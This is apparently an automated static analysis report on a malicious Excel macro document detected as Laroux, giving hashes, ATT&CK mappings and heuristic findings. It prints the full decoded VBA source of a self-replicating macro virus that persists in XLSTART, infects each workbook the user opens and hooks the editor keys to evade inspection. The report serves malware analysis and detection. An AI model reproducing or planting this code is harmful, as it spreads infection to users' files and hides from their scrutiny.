Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9b9c032306bb435…

MALICIOUS

Office (OLE)

37.5 KB Created: 2014-03-28 03:51:39 First seen: 2014-07-06
MD5: 2a19847360dd66537c260a7615f776b0 SHA-1: 041736213b44ee8ec97c9fd405db5a51bb2daac7 SHA-256: c9b9c032306bb4352b085790f80e10d0dda99a677efe9bbc676f06d0a332f7c2
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1027 Obfuscated Files or Information

The VBA macro within this document is designed to achieve persistence by copying itself to the Excel XLSTART directory as 'StartUp.xls'. It also hooks the Sheet Activate event and keyboard shortcuts ({F11}, {F8}) to evade inspection, indicating a sophisticated attempt to remain undetected. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = "StartUp.xls!ycop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
      Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1223 bytes
SHA-256: 1aade4ed855002fe3c1531e58ce176fcd522d30cf4f88e9843368ad938864649
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub
  


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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